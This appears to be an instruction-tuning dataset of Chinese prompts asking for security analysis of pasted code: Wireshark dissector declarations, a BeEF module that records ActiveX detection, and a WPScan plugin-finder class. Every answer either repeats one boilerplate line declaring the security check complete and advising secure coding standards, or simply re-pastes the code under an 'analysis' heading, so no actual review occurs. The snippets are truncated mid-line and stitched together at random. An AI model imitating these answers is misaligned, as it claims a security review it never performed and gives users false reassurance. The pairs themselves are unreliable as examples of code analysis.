static gint ett_svcctl_svcctl_ArgumentStringA = -1;

/* Header field declarations */
static gint hf_svcctl_ENUM_SERVICE_STATUSA_display_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSA_service_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSA_status = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSW_display_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSW_service_name = -1;
static gint hf_svcctl_ENUM_SERVICE_STATUSW_status = -1;
static gint hf_svcctl_EnumServicesStatusExA_group_name = -1;
static gint hf_svcctl_EnumServicesStatusExA_info_level = -1;
static gint hf_svcctl_EnumServicesStatusExA_needed = -1;
static gint...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_activex < BeEF::Core::Command
  def post_execute
    content = {}
    content['activex'] = @datastore['activex']
    save content

    activex = @datastore['results'].scan(/^activex=(Yes|No)/).flatten.first
    return unless activex

    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.activex', activex)
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_activex < BeEF::Core::Command
  def post_execute
    content = {}
    content['activex'] = @datastore['activex']
    save content

    activex = @datastore['results'].scan(/^activex=(Yes|No)/).flatten.first
    return unless activex

    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.activex', activex)
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

require_relative 'plugins/urls_in_homepage'
require_relative 'plugins/urls_in_404_page'
require_relative 'plugins/known_locations'
# From the DynamicFinders
require_relative 'plugins/comment'
require_relative 'plugins/xpath'
require_relative 'plugins/header_pattern'
require_relative 'plugins/body_pattern'
require_relative 'plugins/javascript_var'
require_relative 'plugins/query_parameter'
require_relative 'plugins/config_parser' # Not loaded below as not implemented

module WPScan
  module Finders
    module Plugins
      # Plugins Finder
      class Base
        include CMSScanner::Finders::SameTypeFinder

        # @param [ WPScan::Target ] target
        def initialize(target)
          finders <<
            Plugins::UrlsInHomepage.new(target) <<
            Plugins::UrlsIn404Page.new(target) <<
            Plugins::HeaderPattern.new(target) <<
            Plugins::Comment.new(target) <<
            Plugins::Xpath.new(target) <<
            Plugins::BodyPattern.new(target) <<
            Plugins::JavascriptVar.new(target) <<
            Plugins::KnownLocations.new(target)
        end
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

require_relative 'plugins/urls_in_homepage'
require_relative 'plugins/urls_in_404_page'
require_relative 'plugins/known_locations'
# From the DynamicFinders
require_relative 'plugins/comment'
require_relative 'plugins/xpath'
require_relative 'plugins/header_pattern'
require_relative 'plugins/body_pattern'
require_relative 'plugins/javascript_var'
require_relative 'plugins/query_parameter'
require_relative 'plugins/config_parser' # Not loaded below as not implemented

module WPScan
  module Finders
    module Plugins
      # Plugins Finder
      class Base
        include CMSScanner::Finders::SameTypeFinder

        # @param [ WPScan::Target ] target
        def initialize(target)
          finders <<
            Plugins::UrlsInHomepage.new(target) <<
            Plugins::UrlsIn404Page.new(target) <<
            Plugins::HeaderPattern.new(target) <<
            Plugins::Comment.new(target) <<
            Plugins::Xpath.new(target) <<
            Plugins::BodyPattern.new(target) <<
            Plugins::JavascriptVar.new(target) <<
            Plugins::KnownLocations.new(target)
        end
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ar_drone.c
 * Routines for AR ar_drone protocol packet disassembly
 * By Paul Hoisington <hoisingtonp@bit-sys.com>,
 * Tom Hildesheim <hildesheimt@bit-sys.com>,
 * and Claire Brantley <brantleyc@bit-sys.com>
 * Copyright 2012 BIT Systems
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>

void proto_register_ar_drone(void);
void proto_reg_handoff_ar_drone(void);

/* ************************************************ */
/* Begin static variable declaration/initialization */
/* ************************************************ */

/* ar_drone Protocol */
static int proto_ar_drone = -1;

/* ar_drone Dissector handle */
static dissector_handle_t ar_drone_handle;

/* Headers */
static int hf_command = -1;
static int hf_PCMD_id = -1;
static int hf_PCMD_flag = -1;
static int hf_PCMD_roll = -1;
static int hf_PCMD_pitch = -1;
static int hf_PCMD_gaz = -1;
static int hf_PCMD_yaw = -1;
static int hf_REF_id = -1;
static int hf_REF_ctrl = -1;
static int hf_FTRIM_seq = -1;
static int hf_CONFIG_seq = -1;
static int hf_CONFIG_name = -1;
static int hf_CONFIG_val = -1;
static int hf_CONFIG_ID_seq = -1;
static int hf_CONFIG_ID_session = -1;
static int hf_CONFIG_ID_user = -1;
static int hf_CONFIG_ID_app = -1;
static int hf_COMWDG = -1;
static int hf_LED_seq = -1;
static int hf_LED_anim = -1;
static int hf_LED_freq = -1;
static int hf_LED_sec = -1;
static int hf_ANIM_seq = -1;
static int hf_ANIM_anim = -1;
static int hf_ANIM_sec = -1;
static int hf_CTRL_seq = -1;
static int hf_CTRL_mode = -1;
static int hf_CTRL_fsize = -1;

/**Subtrees */
static gint ett_FTRIM = -1;
static gint ett_ar_drone = -1;
static gint ett_PCMD = -1;
static gint ett_REF = -1;
static gint ett_CONFIG = -1;
static gint ett_CONFIG_ID = -1;
static gint ett_COMWDG = -1;
static gint ett_LED = -1;
static gint ett_ANIM = -1;
static...